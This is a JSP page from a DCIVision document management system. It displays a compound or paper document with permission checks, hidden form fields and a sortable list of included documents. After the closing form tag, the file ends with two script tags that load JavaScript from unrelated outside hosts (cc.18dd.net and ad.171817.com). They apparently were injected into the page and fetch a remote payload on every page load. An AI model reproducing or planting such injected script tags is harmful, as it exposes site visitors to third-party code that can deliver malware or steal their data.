<%
/*
 * @(#)ViewDmsCompoundDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Lt
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewDmsCompoundDocument.jsp

  This class is reflecting business logic uses.

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    21/01/2004
    @version          $Revision: 1.76.2.28 $
*/
/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/08/16
 * BugID      : 6025
 * Description: Return the correct page when 'compound doc' operation is right.
 * *********************************************************************************************
 */
 /* ********************************Modify History***********************************************
 * Modify by  : joan.xiong
 * Modify date: 2006/09/06
 * BugID      : EIP-157
 * Description: When clicked the return button cause the 404 error
 * *********************************************************************************************
 */
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsCompoundDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>

<html:form type="MaintDmsCompoundDocumentForm" action="dms/MaintDmsCompoundDocument" onsubmit="return(false)" styleClass="form-style-2">

<html:javascript formName="maintDmsCompoundDocumentForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String      ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   String      LIST_NAME = "dmsCompoundDocumentList";

   String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.priority", "priority"},
                            {"dms.columnheader.doc_name", "documentName"},
                            {"dms.columnheader.item_status", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.item_size", "itemSize"},
                            {"common.columnheader.update_date", "updateDate"},
                            {"common.columnheader.updater", "updaterID"}
                          };

   int     COLUMN_OFFSET = 1;
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  try {
  Integer ID           = TextUtility.parseIntegerObj(maintDmsCompoundDocumentForm.getID());
  Integer rootID       = TextUtility.parseIntegerObj(maintDmsCompoundDocumentForm.getRootID());
  Integer parentID     = TextUtility.parseIntegerObj(maintDmsCompoundDocumentForm.getParentID());
  String  documentType  = maintDmsCompoundDocumentForm.getDocumentType();
  String  opMode = maintDmsCompoundDocumentForm.getOpMode();

  Integer curDocID = parentID;

  List udfDetailList = (List) maintDmsCompoundDocumentForm.getUdfDetailList();
  List docDetailList = (List) maintDmsCompoundDocumentForm.getDocumentDetails();
  List workflowRelationshipList = (List)request.getAttribute("workflowRelationshipList");

  String sCurFunctionCode = maintDmsCompoundDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintDmsCompoundDocumentForm.getCurFunctionCode();
  if (Utility.isEmpty(sCurFunctionCode)){
    sCurFunctionCode = "SystemFunctionConstant.DMS_EMPTY_FILE";
  }

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  ForumManager forumManager=new ForumManager(sessionContainer,conn);

  DmsDocument parentDoc = (DmsDocument)docRetrievalManager.getDocument(parentID);

  DmsDocument currentDocument = new DmsDocument();
  if (!Utility.isEmpty(maintDmsCompoundDocumentForm.getID()) && !"null".equals(maintDmsCompoundDocumentForm.getID()) ){
    currentDocument = (DmsDocument) docRetrievalManager.getDocument(TextUtility.parseIntegerObj(maintDmsCompoundDocumentForm.getID()));
  }

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  String location = (String)request.getAttribute("location");
  if (Utility.isEmpty(location)){
    location = docRetrievalManager.getLocationPath(parentID);
  }

  String permission = request.getParameter("permission");
   //  PermissionManager permissionManager = sessionContainer.getPermissionManager();
    //permission = (String) permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_DOCUMENT, curDocID);

   DmsDocument documentRoot = docRetrievalManager.getRootFolderByRootID(rootID);

   if(!"DMS_COMPOUND_DOCUMENT".equals(sCurFunctionCode) && !"DMS_PAPER_DOCUMENT".equals(sCurFunctionCode)){
     if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
       permission = "PERSONAL";
       sCurFunctionCode=SystemFunctionConstant.DMS_PERSONAL_FOLDER;
     } else {
       permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ID);
       sCurFunctionCode=SystemFunctionConstant.DMS_PUBLIC_FOLDER;
     }
   }else{
     if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
       permission = "PERSONAL";
     } else {
       permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ID);
     }
   }
   /*if(!Utility.isEmpty(request.getParameter("curFunctionCode"))){
    sCurFunctionCode = DmsOperationConstant.LIST_PERSONAL_HOME;
  }*/

  String homePageFunctionCode="";
   if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
   }

  String directURL=(String)request.getAttribute("directURL");
  if(Utility.isEmpty(directURL)){
//    directURL=request.getRealPath(request.getRequestURL().toString());
    directURL=request.getRequestURL().toString();
    directURL=new String(directURL.replaceAll("\\\\","/"));
    if(!Utility.isEmpty(request.getQueryString())){
      directURL=directURL+"?"+request.getQueryString().toString();
    }
    int direU=directURL.indexOf("http");
    directURL=directURL.substring(direU,directURL.length());
    int realp=directURL.indexOf(""+request.getContextPath()+"");
    directURL=directURL.substring(realp,directURL.length());
  }
  directURL=java.net.URLEncoder.encode(directURL);

  String parentModule="";
  if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){
    parentModule=DmsOperationConstant.LIST_COMPOUND_DOCUMENT;
  }else if(DmsDocument.PAPER_DOC_TYPE.equals(documentType)){
    parentModule=DmsOperationConstant.LIST_PAPER_DOCUMENT;
  }

 String prefix  = "ListDocument_";
 String sortAttribute=maintDmsCompoundDocumentForm.getSortAttribute();
 String sortOrder=maintDmsCompoundDocumentForm.getSortOrder();
 String preference = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
 if(!Utility.isEmpty(sessionContainer.getUserRecord().getPreference())){
   preference = sessionContainer.getUserRecord().getPreference().toString();
 }

 String destinationID="";
 if(!Utility.isEmpty(parentID)){
   destinationID=parentID.toString();
 }
 if(!Utility.isEmpty(request.getParameter("destinationID"))){
   destinationID=request.getParameter("destinationID");
 }

 String targetRootID="";
 if(!Utility.isEmpty(rootID)){
   targetRootID=rootID.toString();
 }
 if(!Utility.isEmpty(request.getParameter("targetRootID"))){
   targetRootID=request.getParameter("targetRootID");
 }

 String returnTo = maintDmsCompoundDocumentForm.getReturnTo();
 String returnTop = request.getParameter("returnTop");
 /*
 *  Update Code Start
 *  Author                  joan.xiong
 *  Date                    2006/09/06��2006/10/24
 *  Bug                     EIP-157��EIP-747
 */
   //if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop)){
   //if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)){
   if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)){
/*
 *  Update Code End
 */
    returnTop = java.net.URLEncoder.encode(returnTop, "UTF-8");
    if (Utility.isEmpty(returnTo)){
      returnTo = returnTo + "&returnTo=" + returnTop;
      maintDmsCompoundDocumentForm.setReturnTo(returnTo);
    }
  }

 if (!Utility.isEmpty(returnTo)){
   returnTo =java.net.URLEncoder.encode(returnTo);
 }

 String pageTop ="MaintDmsCompoundDocument.do?navMode=returnTop&rootID="+rootID+"&parentID="+parentID+"&curFunctionCode="+sCurFunctionCode+"&ID="+maintDmsCompoundDocumentForm.getID()+"&documentType="+maintDmsCompoundDocumentForm.getDocumentType();
 pageTop =java.net.URLEncoder.encode(pageTop);

 String selfCheckout = "true";

 String returnURL="";
 if(Utility.isEmpty(maintDmsCompoundDocumentForm.getReturnTo()) || maintDmsCompoundDocumentForm.getReturnTo().equals("null")){
   if(Utility.isEmpty(homePageFunctionCode)){
     if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
       returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
     }else {
         returnURL="ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&Return=Y";
     }
   }else if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){
     returnURL=request.getContextPath()+"/Home.do";
     }
 }else{
   returnURL=maintDmsCompoundDocumentForm.getReturnTo();
 }
%>
<style type="text/css">
body { font-family : sans-serif; }

form {
    margin-bottom : 0;
}
</style>

<script language="javascript">
<!--
//reset the g_curr_function_code for handling public or personal folder
//  Since it is set as DMS_COMPOUND_DOCUMENT in ListCompoundDocumentAction.
//  It is used for floating menu
var notAllowDeleteIDAry = new Array();
g_curr_function_code='<%=sCurFunctionCode%>';

<%if ("true".equals(request.getAttribute("SUCCESS_CHECKOUT"))) {%>
function INIT() {
  window.location.href = "<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=<%=request.getAttribute("documentID")%>&version=TOP&isDownload=Y";
}
<% } %>

function OpCustList(frm, sortValue, sortOrder, navMode) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;


  frm.navMode.value = "<%=GlobalConstant.NAV_MODE_VIEW%>";
  if (navMode!=null) {
    frm.navMode.value = navMode;
  }

  frm.submit();
  return false;
} // end of the 'OpList()' function


//Add Start

function hideNewShortcutDialog(){
  frameDlg.hide();
}

function hideRelationshipDialog(){
  frameDlg.hide();
}

function doDeleteAction(isIgnore) {
  try {
    document.maintDmsCompoundDocumentForm.ignoreDeleteShortcut.value = "false";//(isIgnore ? "true" : "false");
    OpListDelete(document.maintDmsCompoundDocumentForm);
  }catch(e) {

  }
  hideRelationshipDialog();
}

function popupNewShortcut(url){
  try{
    frameDlg.setUrl(url);
    cClick();
    frameDlg.show();
  } catch(e) {

  }
}


//add end


function OpCustListDelete(frm){
  var blnNotAllowDelete = false;
  var blnNotHasChecked = true;
  var urlQueryString = "";
  if (frm==null) frm = document.maintDmsCompoundDocumentForm;
  var form = document.maintDmsCompoundDocumentForm;
  var basicSelectedID = document.maintDmsCompoundDocumentForm.basicSelectedID;
  if(basicSelectedID == undefined){
    alert("<bean:message key='errors.framework.record_not_found'/>");
    return false;
  }
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  var notPermissionID = notAllowDeleteIDAry;
  if (!notAllowDeleteIDAry.length) {
    notPermissionID = new Array(notAllowDeleteIDAry);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      blnNotHasChecked = false;
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
      for (var k=0; k<notPermissionID.length; k++) {
        if (basicSelectedID[i].value == notPermissionID[k]) {
          basicSelectedID[i].checked =false;
          blnNotAllowDelete = true;
        }
      }
    }
  }
  if (blnNotHasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }else if (blnNotAllowDelete) {
    alert("<bean:message key='dms.message.no_right_delete_doc'/>");
    return false;
  }else {
    send_request("<%= request.getContextPath() %>/jsp/dms/GetDmsRelationships2.jsp?"+urlQueryString+"&date="+new Date());
    var relationshipIds = http_request.responseText;
    var relationshipWarningURL = "<%=request.getContextPath()%>/dms/RelationshipWarning.do?";
    if (relationshipIds.indexOf("RETIDS")!=-1) {
      relationshipWarningURL += relationshipIds.substring(relationshipIds.indexOf("RETIDS")+6);
      relationshipWarningURL += "&formName="+frm.name+"&date="+new Date();
      frameDlg.setUrl(relationshipWarningURL);
      frameDlg.show();
      //OpenCenteredPopup(relationshipWarningURL+"&formName="+frm.name+"&date="+new Date(), "RelationshipWarning", "800", "400", "scrollbars=yes,resizable=no");
    }else if (relationshipIds.indexOf("ERROR")!=-1) {
      alert("Error cause by:"+relationshipIds);
    }else {
      OpListDelete(frm);
      return false;
    }
  }
}
function OpList(frm, sortValue, sortOrder, navMode) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;
	
  frm.opMode.value = "";
  frm.navMode.value = NAV_MODE_LIST;
  if (navMode!=null) {
    frm.navMode.value = navMode;
  }

  frm.submit();
  return false;
}
-->
</script>

<!-- Menu Layer Begin -->
<div id="NewObjectMenuLayer" style="left:0px;top:0px;">
  <ul>
  <%if((permission.indexOf("I")>0)||("PERSONAL".equals(permission))){ %>
  	<li>
    <a href="MaintDmsDocument.do?documentType=<%=DmsDocument.DOCUMENT_TYPE%>&rootID=<%=rootID%>&parentID=<%=ID%>&curFunctionCode=<%=sCurFunctionCode%>&parentModule=<%=parentModule%>&returnTop=<%=returnTo%>&returnTo=<%=pageTop%>"><bean:message key="dms.label.new_document"/></a>
    </li>
    <li>
    <a href="MaintMtmDocumentRelationship.do?relationshipType=<%=DmsDocument.DOCUMENT_LINK%>&rootID=<%=rootID%>&parentID=<%=ID%>&curFunctionCode=<%=sCurFunctionCode%>&parentModule=<%=parentModule%>&returnTop=<%=returnTo%>&returnTo=<%=pageTop%>"><bean:message key="dms.label.new_shortcut"/></a>
    </li>
  <%}%>
  </ul>
</div>
<!-- Menu Layer End   -->
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='documentType'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property='createType'/>
<html:hidden property='itemSize'/>
<html:hidden property='itemStatus'/>
<html:hidden property='checkoutID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property="destinationID" value="<%=destinationID%>"/>
<html:hidden property="targetRootID" value="<%=targetRootID%>"/>
<html:hidden property='curFunctionCode' value='<%=sCurFunctionCode%>'/>

<html:hidden property="emailAttachment"/>
<html:hidden property="parentModule" value='<%=parentModule%>'/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="returnTo"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<input type="hidden" name="ignoreDeleteShortcut" value="false">

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    	<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    </div>
</div>

<div class="generalContainer">
	<div class="wrapperContainer-clearfix">
	<%
		String sectionLabel = "dms.label.doc_info";
		if (!Utility.isEmpty(documentType)) {
		  sectionLabel = sectionLabel + "_" + documentType;
		}
	%>
		<table width="100%">
			<layout:sectionHeader name="<%=sectionLabel%>" colspan="3"/>
			<tr>
			<td class="formLabelSmall"><bean:message key="dms.label.name_label_D"/></td>
			<td class="formFieldSmall"><dms:documentInfo docObject='<%=(DmsDocument)currentDocument%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='<%="showCompoundIndexFlag"%>'/></td>
			<td class="formButtonSmall">
			<%
				if (!GlobalConstant.OP_MODE_DELETE.equals(maintDmsCompoundDocumentForm.getOpMode())) {
				String curFunctionCode=Utility.isEmpty(maintDmsCompoundDocumentForm.getCurFunctionCode())?"":("&curFunctionCode="+maintDmsCompoundDocumentForm.getCurFunctionCode());
				pageContext.setAttribute("curFunctionCode", curFunctionCode);
			%>
				<html:permissionButton label="common.label.edit" right='E' objectType='D' objectID='<%=((DmsDocument)currentDocument).getID()%>' link='<%="MaintDmsDocument.do?navMode=E&ID=${maintDmsCompoundDocumentForm.ID}&parentID=${maintDmsCompoundDocumentForm.parentID}&rootID=${maintDmsCompoundDocumentForm.rootID}&editIndexFlag=true${curFunctionCode}&returnTop="+returnTo+"&returnTo="+pageTop%>'/>
			<%
				}
			%>
			</td>
			</tr>
			<tr>
			<td class="formLabelSmall"><bean:message key='dms.label.location'/></td>
			<td class="formFieldSmall"><dms:locationPath parentID="<%=currentDocument.getParentID()%>" rootID="<%=currentDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/></td>
			</tr>
			<layout:sectionHeader name="dms.label.included_document_list" colspan="3"/>
		</table>

<!-- Page Title Section -->
<%String functionType = "";
  if (Utility.isEmpty(documentType)){
    functionType = "dms.label.doc_type_"+DmsDocument.COMPOUND_DOC_TYPE;
  }else{
    functionType = "dms.label.doc_type_"+documentType;
  }%>
<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
            <!-- The Buttons for Actions Handling -->
      <%if((permission.indexOf("I")>0)||("PERSONAL".equals(permission))){ %>
        <span class="but-colheader">
            <a href="MaintDmsDocument.do?documentType=<%=DmsDocument.DOCUMENT_TYPE%>&rootID=<%=rootID%>&parentID=<%=ID%>&curFunctionCode=<%=sCurFunctionCode%>&parentModule=<%=parentModule%>&returnTop=<%=returnTo%>&returnTo=<%=pageTop%>"><div class="but_left"><html:img imageName="MenuButtonNew" src="LayoutSpacer.gif" width="0"/></div><span style="width:50px" class="text">New</span></a>
            <a href="javascript:showNewObjectMenu();"><div class="but_right_arrow"></div></a>
        </span>
      <%}else{%>
        <html:colheaderButton label="common.label.new" disable="true"/>
        <%}%>
            <%if((permission.indexOf("D")>0)||("PERSONAL".equals(permission))){ %>
               <html:colheaderButton label="common.label.delete" onClick="return OpCustListDelete(maintDmsCompoundDocumentForm)"/>
            <%}else{%>
               <html:colheaderButton label="common.label.delete" disable="true"/>
            <%}%>
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)&&!Utility.isEmpty(ACTION_MODE)) {%>
      <html:colheaderButton label="common.label.save" onClick="return OpSelfSave()"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <html:colheaderButton label="common.label.more" onClick="return OpSelfSaveAndNew()"/>
      <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintDmsCompoundDocumentForm.getOpMode())) {%>
      <%
        String curFunctionCode=Utility.isEmpty(maintDmsCompoundDocumentForm.getCurFunctionCode())?"":("&curFunctionCode="+maintDmsCompoundDocumentForm.getCurFunctionCode());
        pageContext.setAttribute("curFunctionCode", curFunctionCode);
      %>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" label="common.label.delete" right="D" onClick="return OpCustListDelete(maintDmsCompoundDocumentForm)"/>
    </logic:equal>
    <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" label="dms.label.list_compound_document" functionCode='<%=SystemFunctionConstant.DMS_COMPOUND_DOCUMENT%>' right='I' link="ListDmsCompoundDocument.do"/>
    <%}else if(DmsDocument.PAPER_DOC_TYPE.equals(documentType)){%>
      <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" label="dms.label.list_paper_document" functionCode='<%=SystemFunctionConstant.DMS_PAPER_DOCUMENT%>' right='I' link='<%="ListDmsPaperDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
    <%}%>
    </div>
    </layout:listBar>
<!-- Page List Bar End -->



<html:beanSorter id='sortedList' name='<%=LIST_NAME%>' scope='request' sortAttribute='<%=sortAttribute%>' prefix='<%=prefix%>'
  sortOrder='<%=sortOrder%>'/>

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader navMode="V" form="maintDmsCompoundDocumentForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=maintDmsCompoundDocumentForm.getSortAttribute()%>" sortOrder="<%=maintDmsCompoundDocumentForm.getSortOrder()%>" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsDocument" name="sortedList" scope="request" indexId="listLoopCnt">
  <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>"  onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">
  <%
    String permissionNew = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((AbstractBaseObject)dmsDocument).getID());
    if (permissionNew==null || permissionNew.indexOf("D")==-1) {
  %>
    <script language="JavaScript">
      <!--
      notAllowDeleteIDAry[notAllowDeleteIDAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
      -->
    </script>
  <%
  }
    %>
    <td align="center">
      <%if((permission.indexOf("D")>0)||("PERSONAL".equals(permission))){ %>
         <input type="checkbox" name="basicSelectedID" value="<%=((AbstractBaseObject)dmsDocument).getID()%>" onclick="return(false);">
      <%}else{%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      <%}%>
    </td>

    <%
       DmsDocument eachDocumentRoot = docRetrievalManager.getRootFolderByRootID(((DmsDocument)dmsDocument).getRootID());

    %>

   <% //Details for Menu items
    DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    Integer checkoutPersonID = new Integer("0");
    String docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) dmsDocument).getCheckoutID());
       checkoutPersonID = checkoutHistory.getCheckoutPersonID();
    }

    //Permission string
    String subPermission =permission;

    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(eachDocumentRoot.getDocumentName())) {
       subPermission = "PERSONAL";
     } else {
       subPermission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((AbstractBaseObject)dmsDocument).getID());
     }


    %>

    <td align="center">
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) {
        String targetItemStatus = null;//Add "targetItemStatus" to handle shortcut target archived problem; lee update for bug 6001/5924
        Integer targetID = null;
       String targetType="";
       String targetPermission = "";
       String targetParentDocType = "";
       if(DmsDocument.DOCUMENT_LINK.equals(((DmsDocument)dmsDocument).getDocumentType())){
         DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)dmsDocument).getID(),DmsDocument.DOCUMENT_LINK);

         if(newDocument!=null){
           targetItemStatus = newDocument.getItemStatus();
           targetID = newDocument.getID();
           targetPermission = permissionManager.getDocumentLinkPermission(conn, newDocument.getID());
           /*
            if(!newDocument.getRootID().equals(docRetrievalManager.getRootID()) && !DmsOperationConstant.DMS_PERSONAL_ROOT.equals(eachDocumentRoot.getDocumentName())){
              subPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, newDocument.getID());
            }
            */
            if (newDocument.getRootID().equals(docRetrievalManager.getRootID())){
              subPermission = "PERSONAL";
            }

            targetType=newDocument.getDocumentType();
            if(DmsDocument.PAPER_DOC_TYPE.equals(newDocument.getDocumentType())){
              targetType=DmsDocument.PAPER_DOC_TYPE;
            }
            DmsDocument targetParentDocument = docRetrievalManager.getDocumentByID(newDocument.getParentID());
            if (!Utility.isEmpty(targetParentDocument)){
              targetParentDocType = targetParentDocument.getDocumentType();
            }
          }
        }
          %>
       <a href="" onclick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=((DmsDocument)dmsDocument).getDocumentType()%>\',  \'<%=((DmsDocument)dmsDocument).getID()%>\', \'<%=((DmsDocument)dmsDocument).getParentID()%>\', \'<%=((DmsDocument)dmsDocument).getRootID()%>\', \'<bean:write name='listLoopCnt'/>\', \'<bean:write name='dmsDocument' property='itemStatus'/>\', \'<%=checkoutPersonID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=subPermission%>\',null,\'<%=pageTop%>\',null,\'<%=targetType%>\',null,\'<%=returnTo%>\',\'<%=selfCheckout%>\',\'<%=documentType%>\',\'<%=targetItemStatus%>\',\'<%=targetPermission%>\',\'<%=targetID%>\',\'<%=targetParentDocType%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>


      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
    </td>

    <td align="center" width="50"><%
      if (GlobalConstant.PRIORITY_HIGH.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_3"))%>'/><%
      } else if (GlobalConstant.PRIORITY_MEDIUM.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_2"))%>'/><%
      } else if (GlobalConstant.PRIORITY_LOW.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.priority.label_1"))%>'/><%
      }
    %>
    </td>
    <td nowrap width="300">


      <nobr>

      <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=subPermission%>'  rootDocument='<%=(DmsDocument)eachDocumentRoot%>'/>
      </nobr>
    </td>
    <td align="center" class="bodyVerySmall" nowrap>
      <dms:documentStatus/>
    </td>
     <td align="center" nowrap>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType())) {
          int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
        } else {%>
          <%=GlobalConstant.EMPTY_FIELD%>
        <%}%>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsDocument' property='updaterName'/></td>
    
   </tr>
  </logic:iterate>

    <!-- Record Looping End -->
<%List dmsCompoundDocumentList=(List)request.getAttribute("dmsCompoundDocumentList");
%>
 </table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="maintDmsCompoundDocumentForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex navMode="V"/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

	</div>
</div>

<script language="javascript">
<!--
  var opSrc = document.getElementsByName("opMode");
  if (opSrc[0].value == "R"){
    opSrc[0].value = "";
  }
//-->
</script>
<%}catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
    }%>

</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>